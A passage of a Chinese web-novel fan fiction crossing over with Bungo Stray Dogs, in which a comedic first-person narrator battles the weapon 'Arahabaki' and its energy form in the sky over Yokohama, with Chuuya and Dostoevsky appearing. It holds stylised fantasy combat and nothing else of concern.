不对,是吸日大法。 红日吞噬的异能力一滞,昏暗不祥的光线收束,直直地环绕在我的掌心。 如有实体。 我攥紧手,握住了这缕光。 很显然,它就是我和「荒霸吐」之间最直接的联系。 用力一拽,天上的红日马上便回应出一片扭曲的光波。 饱满的圆润形态,被我扯出了一个小揪揪。 把「荒霸吐」收回远没有想象当中那么困难。 毕竟,它的生存本身就是需要一个载体和容器的。 贸然释放确实让它发狂,收回体内估计更是暴戾。 要不,我试试看能不能收到手环里? 毕竟都是强大的能量体——没有载体的「荒霸吐」也是纯能量。 虽然和「书」完全是两个极端,但论起道理来,却非常相似。 我越想越觉得很有道理。 放在我身体里,哪有放到手环里安全呢? 但打过饱嗝的手环完全没有主动吸收力量的意思,于是我尝试催动「书」的纯能量。用极度包容的力量,来容纳极度暴戾的力量。 这何尝不是一种平衡。 刺眼的白色逆转红日之光仰冲上天,狠狠地撞在日面上,像是白色的油墨混进了深色的水中,用力地交织争斗,却丝毫不能相融。 狂风卷起巨浪,风沙渐迷双眼,原本的风平浪静被打破,两股不相融的力量争斗引起了天地巨变。 飓风、暴雨,仿佛各种沿海的自然灾害都要被触发起来,呼应一下这暗无天日不可。 不知从何处传来的刺耳嗡鸣扎得人头痛。 别人尚且如此,我那种想吐的冲动就更清晰了。 手环的力量连接着我的身体,只要我想催动它,必然就要感受它。「荒霸吐」的连接也缠在我手上,没有断开。 这两股力量虽然是在天空之上争斗,但完全不亚于在我体内争斗。 战场竟是我自己。 正负极端摩擦仿佛都被无限激发出了潜力,之前吸收的时候,也没觉得「书」的力量有如此庞大啊。 在这种极端力量赐予我的极端感知里,我猛然间感知到了与「书」同体的力量状态。 这种包容感、这种仿佛能被塑造成任何形态的能量体态……是只有「书」才有力量形态。 除了我拿走的「书」的本体、除了我旁边福地樱痴手里的「书」的残片,还有第三个「书」的能量存在。 我心中原本的担忧一下子被全部激发了出来。 不要是海边、不要是海边! 顺着这股感知的方向看过去…… 卧槽,怕什么来什么,还真是海边! 第95章 什么叫墨菲定律, 我今天算是体会到了。 怕什么来什么。 不是,大哥,我就那么一猜, 还真的在海边啊! 有没有搞错, 真是冲着「斗尖荒霸吐」本体去的? 我、我…… 我真是小丑啊! 紧靠在残页「书」的力量源旁,有一段连接着空中红日的异能力线条。 这就说明,持有这张残页的, 也是一个异能力者。 说真的,我的视力没有厉害到能够一眼望到海边的程度,我的上帝视角也没有强大到,能够通过感知分辨一个我在这次穿越里没有接触过的异能力的程度。 但我就是知道, 那是谁。 能够在这个时候釜底抽薪背刺我的, 也就只有一个人。 看看旁边果戈里那看好戏的眼神,我就知道,是某位好心的俄罗斯人没跑了。 黑暗无光的环境之下,海水逆流卷上了天空;在红日与白光的纠缠之中,海水义无反顾地冲入了混乱。 “滋滋”的声音焦响着, 「荒霸吐」与「书」的力量摩擦蒸干着翻上天空的海浪, 浓烈的雾气在空中逸散,和「龙彦之间」全然不同的潮湿下沉, 咸味充斥在鼻腔与喉咙之中。 咸死了, 像是硬灌了一杯水煮咸盐,让人嗓子干涸。 但此时, 却是没人顾得上口渴那点小事。 海雾之中, 被浪卷起来的, 是一把散发着不祥的巨枪, 通天绝地。 直观看上去确实可怕, 接近黑色的深红,流动的污浊围在枪身外沿,间隔不均的亮红光点像是密集的眼睛,颇有些掉san的克系味道。 多多的密集恐惧+多多的巨物恐惧+一丢丢深海恐惧,buff拉满了。 耳边仿佛有锁链断裂的声音,深海中拉扯着「斗尖荒霸吐」枪身的某些力量无力维系,反倒是冲入空中的本体越来越尖锐,杀意无限蔓延着,震慑着天空之下的城市。 我眼神一撇,港|黑的诸多成员——撤走了,没撤走的,都在这股威慑之下,震得腿都打不直。 哪怕是旁边这些异能力者们都好不到哪去。 这种摄人心魄的力量,是「斗尖荒霸吐」这种神器天生携带的力量。 不论是单纯的体量,还是福地樱痴所推测的,其存在的真正意义——这把枪都不是凡物。 封印一旦解开,祂的存在便会冲向自己的另外一半。 上一次我见证这一切,祂依附到了中也身上。 但这次,能量体的「荒霸吐」被单独剥离出来,甚至和我之间的联系也被压制到了最低。 没有了中间商赚差价,本体和能量之间的呼应在极短的瞬间达到了巅峰。 枪尖顶在白光上,穿透了「书」的能量。 不好! 一个是被宰子一顿营销出来的表面世界基石,一个异能力中转站——真正的世界基石。 能量和本体的正反压制,即使是「书」的力量也不是对手! 即使对波,纯粹的能量体「书」也赢不了。 啊啊啊啊啊——不许对我的宝贝能量出手啊! 别让我做小丑,我搞这么多有的没的,不就是为了把「书」的能量带走吗? 多一秒的犹豫,都是对「书」的不尊重。 作为横滨唯一一个还留着异能力的人,我直直冲入天空。 低头…… 好高好高好高! 飞行能力真的对恐高症患者很不友好! 我闭上眼睛,一阵本能的腿软。 幸好,我也不是靠腿飞行的,不然出大丑。 海边的浪旁,一双眼睛紧紧地盯着我,和港|黑大楼内的某双眼睛有着异曲同工之妙。 果然,就是他。 陀思妥耶夫斯基。 不,应该是不搞事不舒服斯基。 他大概比福地樱痴看得还要清楚,想要彻底终结异能力,没有本体的「荒霸吐」,是绝对不够的。 陀总还真是算好了时间。 他不会是猜到了我会把“红日”剥出来钓鱼吧? 被钓的竟是我自己? 我逆身向上,一脚踹到了枪尖上,阻止了祂和能量的接触。 我的鞋和袜子一下子就被烧干净了——异能力赶紧紧密覆盖上,抱紧我的裤子,不做裸|男。 我这肉做的脚踩在枪尖上,发出的却是金属碰撞的声音。 隐隐的,我好像感觉到了自己身体的僵硬。 不是那种坏的僵硬,而是有种金属化的既视感。 毕竟是化用了上次穿越文野的人设,按理来说,我现在也该是另一把「斗尖荒霸吐」的本体。 两把枪交接相撞,发出的自然是金属声。 不仅有金属声,还有金属摩擦产生的火花。 犹如夜空上的焰火,连红日都无法争夺其辉。 周围的海雾被点燃,天空骤然变成火海,坠落宛如流星,眼看就要砸在地上。 藏匿在城市边缘的中也便在此时出现,用身体精准地挡下了坠落的“流星”。 我眼睛一亮。 「荒霸吐」是从他身体里剥离出来的,填补起他身体的是混杂着一些「书」力的「龙彦之间」——“红日”对原本封印的排斥和中也现在能力的复杂性,让他此时的能力,并没有随着刚才的天地异象被夺走。 现在,他自然便成了唯一一个能帮我解决后顾之忧的人。 有他在,不论天上的动静有多大,他会尽全力保护天空之下的城市。 ……哇哦,他还顺便加速冲过去给了陀总一jio。 中原·痛恨搞事人·中也的标志性大招,蛞蝓冲击·愤怒升级版! 嘶! 好痛! 中也的全力一脚,谁能顶得住! 太(gan)残(de)暴(piao)了(liang)! 没了什么后顾之忧,我调转心神,只看眼前。 「斗尖荒霸吐」的枪尖被我踢开,偏离了原本的路线。我右手顺便一勾,手环带动着「书」的力量,纠缠着红日一甩,将「荒霸吐」的能量体丢得更远。 不为别的,就为了尽可能让本体和能量拉开距离。 虽然不知道陀总在「书」页上写了什么东西,但他的目的和福地樱痴具有一致性。只要希望异能力消失,就必然要让「斗尖荒霸吐」的本体和能量合二为一。 且不管他有没有更多后手,总要先解决眼前的问题。 本体枪戾气满身,蔓延的黑气犹如实质性的污浊。 真不知道是「荒霸吐」影响了中也的异能力,让他的「污浊了的忧伤之中」成了如今的模样;还是中也这个安全装置太成功,反向影响到了「斗尖荒霸吐」的能量形态。这环绕在枪身外的力量,和横滨之上的中也有着奇妙的重合感。 我精神恍惚了一瞬,身体却没有停下来。全身的力量重压在「斗尖荒霸吐」本体上,半蹲将手也放在枪尖,白色的「书」光回收再释放,毫无保留地冲出,如束带一般,将尖枪满身缠绕。 本体“嗡”动刺耳,黑色的污浊外沿用力撕扯,与白光一时僵持。 僵持就对了,以一敌二太麻烦,得先牵制住本体才行。 我转头,「书」的力量被我全数用来束缚本体,那一大团红日没有了桎梏,泛出激烈的光,就像一条疯狗。 比起会束缚祂的安全装置,自然是本体最为舒适。 我按在胸口—— 但那微妙的联系,终究还没有割断。 红日炽烈,是纯粹的力量,可在此刻的飘动中,我却仿佛感受到了祂如有实质的视线和目标。 不出所料,是冲着我来的。 想要毫无阻碍地和本体融合,自然要踹掉我这个与之有束缚、有联系的安全装置。 祂想先杀我。 而我,想先“吃”祂。 另一种意义上的目标一致。 我站在枪尖,浓雾遮挡着视线,仿佛将天地隔绝成两个世界,让人感受不到横滨的状况。 但这对我来说,却是件好事。 我相信中也,相信他对横滨的保护欲和保护能力。 没有了深渊一般的高度,我的恐高症好像也有所缓解。 当然,也可能是肾上腺素正在拼命捞我。 我闭上眼睛,细细感受了一下紧绷的手环,内里的「书」力正在消耗拉扯。 没有人控制的力量,是很难长时间压制住「斗尖荒霸吐」本体的。 不能拖。 “呼——”我长出一口气,猛然睁开眼睛,抛去了一切杂念,对上了那团红日之力,“速战速决吧,「荒霸吐」。” 不是他死,就是我活。 嗯,我真是个逻辑鬼才。 第96章 想要速战速决, 无非就是两种方式。 要么有战力,要么有手法。 很显然,我不属于后者。甚至, 失去了手环中属于「书」的那股纯粹力量, 我连前者的优势似乎都弱势了许多。 但,赶鸭子上架,这时候已经是不战不行了。 不能给「荒霸吐」能量体和本体融合的机会。 肾上腺素狂飙突进, 我有点上头,一瞬间也忘记了自己所处的万米高空,忘记了自己的恐高,所有的心神都专注在一个事物上—— 那柄通天绝地的尖枪。 我将身上的肌肉压紧, 异能力集中在腿, 整个人拖着无尽长的残影,远看仿佛另一把枪,强势劈开了充满咸味的水雾,和「斗尖荒霸吐」完全撞在了一起。 我的身体几乎被涂上了一层金属质感的外皮,和枪尖撞击擦出的激烈火花, 发出的声音, 更是如惊雷般震耳欲聋。 我从未如此清晰地感知过“同化”这个概念。 □□在和枪的本质在融合,精神和世界意识的某种成分在融合。 这样清晰的认知, 却不能阻挡我此时战斗的决心。 「斗尖荒霸吐」的本体嗡动着, 以一种普通人肉眼难以捕捉的频率嗡动,带起了一阵难以捕捉的波频。 我听不到, 但周围的空气和水雾却首先给出了反应, 仿佛是某种细小单位的结构被破坏, 潮气、水汽变得更加浓郁。而且是味道异常怪异的湿润味道, 满满的都是铁锈味。 不会是枪在海水里泡得太久, 生锈了吧? 这个想法只在我的脑中闪过一瞬—— 不,不对! 浓郁的味道并非来源于外部,而是来源于我自己。 我抬手,手指抹过上巴,湿润粘稠的触感让我心里“咯噔”了一下,潜意识里的第一次反应是被这高空水汽刺激出来的鼻炎。 要是在这种时候突然流鼻涕,那得多尴尬啊! 我颤颤巍巍地把手指放到眼前。 松了一口气,幸好只是血而已。 皮肉之下的内脏应该是有些移位,因为我动起来的时候,总觉得身体当中有东西晃来晃去——应该就是心肝脾肺肾啥的。 有点心烦,我有那么一秒钟在想,要是把这些内脏全都剖出来,是不是反而会方便、更省心。 但这种想法,也就是那一秒。 往出剖心挖肺什么的太麻烦了,这个时候哪有时间给我浪费? 我一个翻身,膝击敲在枪尖上。 用更强烈的震动,来打破其现有的频率。 或许是因为身体里内脏的摇晃让我烦躁,我这一下膝击带着体重+能力+惯性,力量用了十成十,完全不带一点犹豫。 “将”的一声细鸣中,跟随着我的身体,我这和「斗尖荒霸吐」完全不成正比的身体大小,却也仿佛成了某种出鞘的利剑。 但我的皮肉是钝的,力量自然也是钝的,钝器比利器带来的压力更重。 如此重压之下,尖枪本体竟然发出了瘆人的“咔咔”声,一道细长的裂痕从枪尖一直蔓延到末尾。 哇哦—— 我从来不知道,我自己的身体竟然有这么硬。 尝到了甜头,我借势不停,继续攻击,没有给「斗尖荒霸吐」留一丝空隙。 裂纹不断地扩张,刺耳的“咔嚓”声和火花在水雾中若隐若现,从地面上看,这大概就是暴风雷电正在云层中翻涌的场景。 天灾。 字面意义上的天灾。 这个形容并非毫无来源。 「斗尖荒霸吐」并非不想着反击,相反,那巨大的枪身每一次晃动都仿佛要将太阳或是月球都扫下来。 可怕,只是看着就觉得可怕。 只不过,巨物虽然会带来恐惧,可直愣愣的一支枪,不论如何攻击,形态都是那样单调。即使不善战如我,也轻易就能躲避。 在暴戾的能量空隙里,我的攻击遍布整个枪身,枪身之上,甚至有碎裂的碴子稀稀落落地坠下云层,高速+赤红拖尾,简直就像是天外陨石,砸到了横滨这片多灾多难的土地上。 我没有低头,只相信中也无论如何都能保护好横滨。 下面的城市,不是此时的我需要关心的。 “咔吧、嘎咯——” 枪身的裂痕越来越大、越来越密——终于,「斗尖荒霸吐」终究还是不堪重负。 ——“砰!” 「斗尖荒霸吐」的身体整个炸开,剧烈的冲击连我也无力抵抗,瞬间被吹飞出去。 半空之中可没有任何可以借力的地方,更何况,这样剧烈的能量也非是简单的屏障就能阻挡的。 高空那一片区域——方圆不知道几百米的范围内,几乎都被完全榨成了真空,甚至连光都无法通行。 就像是……黑洞。 我低头,忍着那种强烈的眩晕,和中也交换了一个视线。 不知是不是因为某种同角色隐藏的心灵感应,还是我的读心能力见长——这一眼,中也明明连嘴都没有张,可我就是连通话筒般地听到了他想问的话。 我看了看那一片黑漆漆的方圆之地,又看了看和「书」的力量纠缠起来的能量体「荒霸吐」,仍是对着中也摇了摇头。 他想问我一切是否已经结束。 我的回答是否定的,犹豫的否定。 黑雾之中疑点重重,「荒霸吐」的能量体又那样活跃。即使刚才我亲眼看到了本体的碎裂,可那却也不能说明什么。 碎裂=死亡? 我也碎好几次了,这不也活得好好的吗? 甚至,那种忐忑不安的心情堆积在我胸口处,愈演愈烈。 我深吸了一口气,将精力集中起来,全神贯注。 我能够感觉到——这是一种奇怪的、微妙的、难以用语言来形容的感觉。 「斗尖荒霸吐」本体的爆炸吞噬了一切肉眼可见之光,没有光,任何人都看不到里面正在发生的事。 可我盯着那团黑雾,便仿佛已经在和里面的什么对视。 被注视的感觉如此清晰。 下一秒,比破空之声更快,一双手几乎没有任何前摇地冲到了我面前。 我敢说,这个世界上99.99%的人,都反应不过来。 可惜了,我就是那天选的0.01%! 我抬手,一把抓住了那个拳头。 石头剪刀布,我的布赢了。 赢了,但掌心发麻。 好重的力度,好强的力量。 相同的能量对冲在一起,奇妙的特异点“滋滋”地擦开了一瞬,红色的光圈向外发散,将天空清得异常晴朗。 力量有某个瞬间的真空,只有一个瞬间。 很还不等我坠落,失重感都没有传达到全身,重力力量就重新掌控了身体。 有了清晰的光,我终于接到了那个在破碎的「斗尖荒霸吐」中,隐藏的注视。 那犀利的视线、锐利的视线,有一张和我、和中原中也一模一样的脸。 那脸上的荒纹、那异能力给身体边缘带来的红色光晕,除了他不着寸缕之外,和我二人并无任何区别。 我脚趾不自觉地抠了抠,怎么看着他,我依然有种微妙的尴尬。 就算长着一张脸,那也不是我,不是我! 我用理智压制住了情绪。 说再多,「斗尖荒霸吐」也终究不是人,而是一把枪,他可没有所谓的羞耻感,也没有固定意义的人类形态。 祂想要化成更加灵活的人类,就需要一个参照。 「荒霸吐」选择了中也。 并非完全只是因为中也的身体强度适配,更重要的是——「荒霸吐」选择了他。 这种选择,是极为主观的。 我没有停顿,手掌错开他的拳锋,下|身几乎是同时行动,近乎相同的腿砸在了一起。 “咔!” 又是熟悉的声音。 我这才注意到,祂的身上——就在那些寒毛的间隙里,满满的都是接近肤色的细密裂痕,让人一眼难以注意。 果然,我刚才做得并非无用功,那炸裂对他并非毫无影响。 毕竟是本体破裂,就算表现得再平常,内伤还是在的。 这些裂痕还带来了另外一个认知,那就是祂的身体质感,绝对不是血肉质感。 是金属、是某种硬质化的东西。 祂不是人。 和上一次的文野主线穿越不同,祂没有占据中也的身体,祂是用自己的碎片,做了个身体。 但无疑,祂更加灵活了。 空洞的眼神死死地锁在我身上,像是随时准备扑杀的猎豹。 目标是相对的。 我不怕祂来,就怕祂跑。 面对祂扑面而来的攻击,我扭头抬手,一把抓住了祂的脚踝。 ——刺手! 我像丢甩饼一样,将祂甩开。空中带起一串红色的液体,我的手上果然已是淋漓的鲜血。指节处,甚至已经可以看到森白的骨头。 「斗尖荒霸吐」是枪,其全身都极锋利,即使换作是人身,内在性质却绝不会变。 “带刺的玫瑰啊。”伤口太深,我下意识地舔了舔手上的伤口,舌尖品尝着自己鲜血的味道——不是我自吹自擂,这味道还有点甜的,别人的血可不能和我相比,“刚才只是个外壳,你尚有化形之力——不知道这次,若是再把重组化形的你打碎了,你有没有血可以流。” 我的瞳孔因为兴奋而放大,血液在心脏汇聚被加压迸到全身。 “歘!” 我头铁,我不怕。 比起还覆盖着柔软血肉的胳膊腿,果然还是头的硬度更加直接。 头盖骨的硬度,在人体的骨头当中也算是强的吧? 瞄准着祂模仿的人体里,最柔软的腹部,我使出毫无保留的最强一击。 秘技·炭治郎之头! 第97章 炭治郎不愧是男主角, 他的奥义,就是好使! 头上的骨头和耳朵连在一起,声音在我的颅腔内回荡的, 那种破碎的声音。 大概是我的头骨发出的声音, 因为我好像隐约感觉到有骨骼碎片飞下来了;但同时,也不仅仅只有我的骨头。 「斗尖荒霸吐」的肚子也碎了一大块。 我抹掉头上留下来的血,一抓, 却首先抓掉了一大把头发。 我:…… 倒也没有什么出乎预料的,头骨都碎碎了,难道头发还能保全吗? 我这只是假发,问题不大。 假发在穿越时就以一种概念式的意义, 保护着我尊贵的头发碴子, 此刻就是把我的头盖骨掀开,我的本发都不会出问题……应该。 我没有多想、细想。 此时哪里容得下我走神。 「斗尖荒霸吐」低头,看着自己破碎的腹腔,抬手接住了一串碎碴子。那应该就是祂本体的碎片。 拟态的重力操控的红光连接着碎碴的边缘,让其环绕在祂腕上, 掉落的部分, 果然很难再拼到身体上去了。 但,碎掉的枪也是「斗尖荒霸吐」的身体, 锋利程度不亚于本体的任何部分。 祂一挥手, 那些碎片便密集地冲我扑来。 真像是天上下刀子了。 我瞳孔的边缘一亮,力量从我体内散开, 在这样快的攻击力, 硬是精准地拦住了所有的碎片——不要小看我在咒回世界磨炼的技巧! 难道宿傩大爷的记忆特训是吃干饭的吗? 那句话怎么说的来着, 不要小瞧我和宿傩的羁绊啊, 喂! 对这样散开的力量对冲, 我可太熟悉了。 当然,这是「斗尖荒霸吐」的本体,一般的异能力无法对其奏效。 我并不打算在这些碎片上耗费太多心力,所有被释放出去的力量全都是斜面,我没有抵消掉这些碎片的力量,但力量组成的斜面却改变了它们的运动轨迹,给我创造出一条速通的通道。 完全没有停下攻击缓口气儿的意思,我的目标就是那个已经被顶出碎片来的腹部。 握紧拳头,我全身的力量几乎都集中在了拳锋上。 我的身体,有着和「斗尖荒霸吐」相似的属性,当所有力量都集中在一个点的时候,哪怕是这个本体,也无法抵抗。 自然而然的,祂想要反击,就必然从其他位置掣肘我。祂张开的双臂化为两个尖刺,精准地捅向了我的胸口和眉心,一上一下,以攻为守,将他的腹部保护起来。 我若要攻击,就不可能完全避开两个尖刺,但若是要躲避,就会丧失了祂这空门大开的机会。 提问,我该如何选择。 这还用选吗! 干就完了啊! 难道我怕被攻击吗? 只要能赢,就是同归于尽我也不怵的。 难道我同归于尽的次数少了吗? 想要出拳有力量,下盘就必须要稳,我身体本来就不能避,但歪头躲一下冲着我脑袋来的尖刺还是不成问题。 “噗嗤”一声。 我的拳头和「斗尖荒霸吐」的刺几乎是同时到达了该去的地方。 鲜血从胸口涌出——但换个角度想想,这个刺帮我固定住了体内摇晃的心脏,也不失为一件好事。 更重要的是,祂可比我惨多了。 原本就已经被打到临界点的腹部裂痕瞬间扩散至全身,那瘆人的“咔咔”响动在万米高空之上回荡着。 我另一只手趁着祂虚弱,一掌折断了穿入我胸口的武器。 没有了桎梏,我旋身一踹——对,在空中还旋转了一圈,才踹上去的。没有什么特别的技巧原因,单纯就是因为帅。 「斗尖荒霸吐」拟态了人类、拟态了中也,祂自己并无多少对人体的了解,既然要复刻,自然是要全盘复刻。 祂没有人类意义上要害,但却会因为拟态而给自己制造出弱点。 头颅和心脏,我对这两个地方就是一阵追击猛锤。 要先砸烂这些地方,再攻击他处。 被打乱了攻击路线的「斗尖荒霸吐」碎片回拢,和新的碎片一起疯狂的反击。 但我知道,这种无序的、慌乱的攻击,正是祂强弩之末的证明。 终于—— “轰”! 他的身体反射着光,无数碎片折射出的亮色将天空照得明亮,比晴朗的正午还要刺眼。 但,碎裂的本体,却再也不会拼起来了。 换而言之—— 我赢了? 别怪我用问号,即使是我,也有些拿不准。 这些碎片反重力地飘浮在空中,无法拼凑、无法聚集,但却也……没有消失。 而且说实话,虽然我也挂了彩,但因为有一次和「斗尖荒霸吐」战斗的经验,我总觉得这次有点……太容易了。 真的这么脆吗? 我随手拿起一块来,放到嘴里嚼嚼。 嗯,确实嘎嘣脆。就是味道不好,有点像是在嚼脆脆的墙皮。 Yue! 我把嚼掉的碎片咽下去,墙皮化作暖流沿着喉咙流入丹田。 任何时候,直接食用都是一种很有效的力量夺取方式。 但,眼前的碎片数量…… 没有一万也有几千,一片一片地吃,这得吃到什么时候去。 天空被打得如此晴朗,碎片又将黄昏照得如此之亮。 我总不能接下来几个小时,都在全横滨人民的注视下,在空中吃墙皮吧? 想想都觉得……好笑。 拜托,这是热血番,不是搞笑番。 我用力地揉了揉自己的脸蛋,扭头打算把更容易食用——大概更容易食用的能量体收入囊中。 没错,就是「荒霸吐」的能量版,那个将全球异能力都引入空中的异能中转站。 刚才完全专注于「斗尖荒霸吐」的本体,一直没有多感受手环,战斗无疑击碎了它的屏幕,让原本就受尽挫折的手环看上去更加破烂。 我是个坏主人,真是抱歉。 走之前让中也掏钱给我购入一批手环,我带回去和基友一起改造是是不是一个好主意? 穷|逼|大学生没有那么多RMB。 我还得留点钱约假毛呢。 心里浅浅盘算了一下,我转身,正要专注于能量体「荒霸吐」的时候,却发现,那股力量早已不在当初的位置。 诶? 诶?!!! 哪去了! 我瞪大了眼睛,胸口一阵强烈的慌乱。 那个能量某种意义上来说,可比本体还要重要——或者说,本体的枪身,原本就是为了保护内在能量而存在的。 我闭上眼睛,让感知扩散到最大。 左面、右面、前面、后面、下面——都没有。 那就只能是在—— “头上?!” 我猛然抬头,迎着刺眼的光,看到了被密集的碎片隐藏在更高处的能量黑团。 就像是刚才被炸出来的真空一样。 不、不仅仅是“像”而已。 艹! 那本体“斗尖”故意的,炸开身体、炸开碎片,是为了将本体体内最后的一点力量挤出来! 本体牵制我,实则是给了那片黑雾融入能量体的时间。 “啧,还真是壮士断腕。” 「斗尖荒霸吐」会做这样的决定,只可能是因为对敌人——也就是我的畏惧,“这么害怕我,不惜放弃本体也要保证能量的延续,真是受宠若惊。” 祂竟然还有这样级别的自我意识,能设计、会挖坑,简直不像是单纯的武器。 我脑子中骤然闪过那张带着绒毛帽子的“好心人”,我不知道那张残片「书」页上写了什么。但这种声东击西的招数,怎么看,都觉得有些眼熟。 能量体的对冲战斗力,有了「斗尖」的本体助力,原本与之势均力敌、互相牵制的「书」的能量,自然就落了下风,会被压制。 这种级别的战斗,向来都是毫厘之差定胜负,被压制,就等于被击败。 能量体「荒霸吐」和「书」本就是相互克制,一个吞噬一切,一个包容一切,但凡天平倾斜,某个力量能占据上风,就可去吸收另一方。 完全融合自然不易,但只是将其吸收到体内压制、暂时收用,却绝对不难! 我咬着嘴,狠狠地皱起了眉。 那白色的光团被吞咽包裹,纯黑色的不祥之影在刺眼的反射光里熠熠生辉。 或许用“熠熠生辉”不太恰当,但在极亮的光里,祂这个完全无法反射任何颜色光亮的“黑团”就格外鹤立鸡群。 像是黑洞成了精。 祂拓展着、蔓延着,仿佛仍是跟着某种人类形态,模拟出了近似于肢体的东西。 但祂可不似刚才的拟态。 无数的触|手迸发而出、遮天蔽日,简直是不可名状之物。 那些碎片战栗着、嗡动着、回应着。 黑雾和我的行动目标一样,一股脑地蔓延开嚼嚼嚼。 唯一不同的是,他这么庞大的提醒,这么无限蔓延的“嘴巴”,嚼嚼嚼的速度,是我的一百倍、一千倍。 真TM的绝了! 我忍不住在这里爆粗口。 这是什么魂系游戏吗? BOSS还有二形态、三形态的进阶关卡。 我脸都要扭曲了啊。 人家魂系游戏进阶形态,系统还给恢复一下生命和精力。 我倒好,啥也没有就是干。 只能顺手嚼两口来恢复——分得太散了,这种碎片力量对普通人、普通异能力者来说很补、很强,但对此时的我来说,却只有安慰剂效果,没有什么实际意义。 实在是捉襟见肘。 黑雾没有人类意义上的眼睛鼻子嘴,但就像刚才那股爆炸的黑雾一样,我清晰地感知到了某种视线的锁定。 或者说,是力量的锁定。 几乎是本能的行动,我异能力一推,整个人就像光一样,飞离了原地。 身体仍在极快的动态之中,恍惚一眼就见,我刚才占据的位置,已经几根黑色的触|手撞击撕裂。 这时候,我看着那吞噬着本体碎片不断胀大的黑团,真有那么点以卵击石的紧迫恐惧了。 没有了本体吸引,将「书」压制在体内的「荒霸吐」能量更加肆无忌惮,地面上那些向上连通的异能力,隐隐又开始了输送集合。 中也尝试着阻断,但收效甚微。 我苦笑了一下,真是形势比人强。 就算心里没底,知道是以卵击石,也得上了。 第98章 重新声明一次, 这种没有具体形态的东西,最难缠了——比空间系还难缠! 就像要对着流体的水拔刀——抽刀断水水更流具象化了。 我甚至不知道该如何形容,「荒霸吐」的力量如此肆虐, 而我的能力却很难直接对其起到有效的克制作用。 真是靠北了。 我躲避着触|手, 感受着黑暗带来的压力。说实话,这还是我第一次有这种无力感,别说是反击, 就连躲避抵抗都要耗费掉九成以上的精力。 「荒霸吐」+「书」,这个组合称霸世界很合理吧? 更何况,随着对碎片的吞噬,祂的力量还在不断地扩张。 通常情况下, 「斗尖荒霸吐」都是本体在外, 能量在内。 因为枪身的结构更加稳定,也更容易起到屏障和保护的作用。 但此刻,由于众所周知的种种原因,祂的内外发生的转变。 能量体暴露在外,而枪身本体被我击碎, 正由着能量吸收。 理智上来说——理论上来说, 我知道能量体的「荒霸吐」更不稳定,祂需要一个躯壳。 但不稳定是相对的, 想要利用这种不稳定并不容易。 我沿着这条思路思考。 杀了我这个威胁, 祂应该会想办法给自己找一个。 下面保护城市的中也仍旧是最好的选择。 可,即使祂成功吃掉了我, 从我身上汲取了更多「荒霸吐」的稳定力量, 我也不觉得中也能撑过这样庞大力量的寄居。 会碎、会死。 NO!!! 我推!!! 我推不能死啊!!! 我一个翻身, 黑色的触|手擦着我的后背而去, 直接燎掉了我身上的一大片布料。 不好。 这样下去, 就是我能撑住,我的衣服也撑不住。 我绝对不要在社死裸|身了! 没有海雾,我怀疑城市之中十成十的人都在看我现场直播。 我释放着体内的红光,我身体当中的,也是另一种版本的「荒霸吐」。身上的荒纹灼烧着皮肤,甚至刺激着我的身体,让我感受到了疼痛。 我是在清晰的意志中,感受到了这种疼痛的加深。 要是换作今天之前,我自己也肯定想不到,我有一天竟然会这样主动地接纳世界意志的同化。 不,这次用“同化”似乎就有些不合适了。 我并没有忘了我自己是谁,没有被世界意志所压制——我是单纯的,屈服。 ……真不想用这个词。 我收起了上帝视角,让自己的意识和思考脱离三次元,完全在这个世界内流动。 “飒!” 绷紧的手指像是锐化的枪锋,斩断了将我捆缚的触|手。 黑雾断成几团,给了我绕开包围圈的机会。 但还是那句话,抽刀断水水更流,那些散开的黑雾很快就重新聚合了起来。 “这样下去真是没完没了。” 现在的我,完全不具备持久战的赢面。 得搏一把。 不论把握有多少,都得搏。 搏一搏,单车变摩托。 我果然也是有点赌徒心理在的。 我长出一口气,眼睛骤然瞪大,身上的荒纹蔓延着,几乎将我全部的皮肤都覆盖起来,染成红色。 高速的移动将残影连了起来,形成了一柄长枪,直直地穿在了黑雾正中。 我知道,这种能量体「荒霸吐」杀死我的方式,一定是吞掉我。 不用他折断我的骨骼将我强行拖进去,我自己进来。 黑雾之中、「荒霸吐」体内,果然是黑洞一般的漆黑。 没有光能照进来。 温度高得可怕,仿佛是被丢入了岩浆之中。 坦格利安,真龙不怕火炼!(bushi) 好像串戏了。 我身上迅速渗出汗液——或许,大概也不是汗? 毕竟「荒霸吐」有不是毛巾,祂要的是我的力量和生命力,不是我的汗。 我闭上眼睛,任由祂肆意夺取。 我的皮肤“滋滋”响着,那密集逸散的能量,每一缕都蕴含着我的意志。 刚才的「斗尖荒霸吐」不是和我玩化整为零这一招吗? 我也来试试。 这样的黑洞环境可没有看上去那样静谧,我的耳边尽是嘶吼和尖叫。 我知道,这些大概是那些被夺走的异能力的尖叫,或是“中转站”内无数异能力者死亡前的恐惧和嘶吼。 这些声音传达着恐惧,仿佛能够夺走一切的意志、仿佛能消磨掉任何人的精力。 我得说,哪怕是我,也不能在这种环境里保持自我。 拜托,这简直和把人丢到了无上限分贝的噪声环境里没有区别,吵也能把人吵死。 更何况,那些求救、那些怨恨从不以文字的方式传递,而是直接响彻大脑,成为了某种直接影响神经的同化力量。 要不是有无数被同化的经验,我进来的那一瞬间就得缴枪投降。 只不过,我既然敢进来,自然就是想好了后路的。 我的意志力确实连爬起来、上早八都困难得要死,但——世界意志就不一样了。 我接纳了世界意志,甚至是将我和世界意志连在了一起。 我会崩溃,世界意志可不会——祂会成为我的锚点。 红光在黑雾之中流窜着。 我像是回到了两面宿傩的身体里,以一种奇妙的视野将“眼睛”分了出去。 我在寻找,在浓浓的黑雾之中寻找。 没有了本体外壳的保护,「荒霸吐」在肆无忌惮的力量吸收中,变得更强了。甚至以一种中转站的身份,将那些数不清的异能力都引入了体内。 但有得必有失,正如我之前所说的,祂在变强的同时,也放弃了另外一样东西。 稳定——稳定性。 黑雾为什么会分成触|手,而非是一整个冲上来将我包裹。 因为祂现在,就不能算是一个整体了。 完全消化掉那么多异能力可不容易,那些升上天空和「荒霸吐」连接在一起的力量,就像是一块块砖石。我分散出去的力量寻找的,正是黑雾中的每一个缝隙,我悄无声息地抠着的,正是砖缝中的水泥粘合剂。 让不稳定的,更不稳定。 这是我唯一的出路。 还有「书」。 「荒霸吐」确实压制住了「书」,甚至是吞掉了「书」。 但那种能量的包容性,就注定了其无法被恫吓,只能被融合。 可如此短的时间内,「荒霸吐」现在用来对付我的力量又无法对「书」生效,岂是说融合就能吸收的呢? 我赌的第一点就是,以「书」能量的稳定性,不会轻易被「荒霸吐」的混乱所打碎吸收。 特别是后者原本就在专心对付我的情况下。 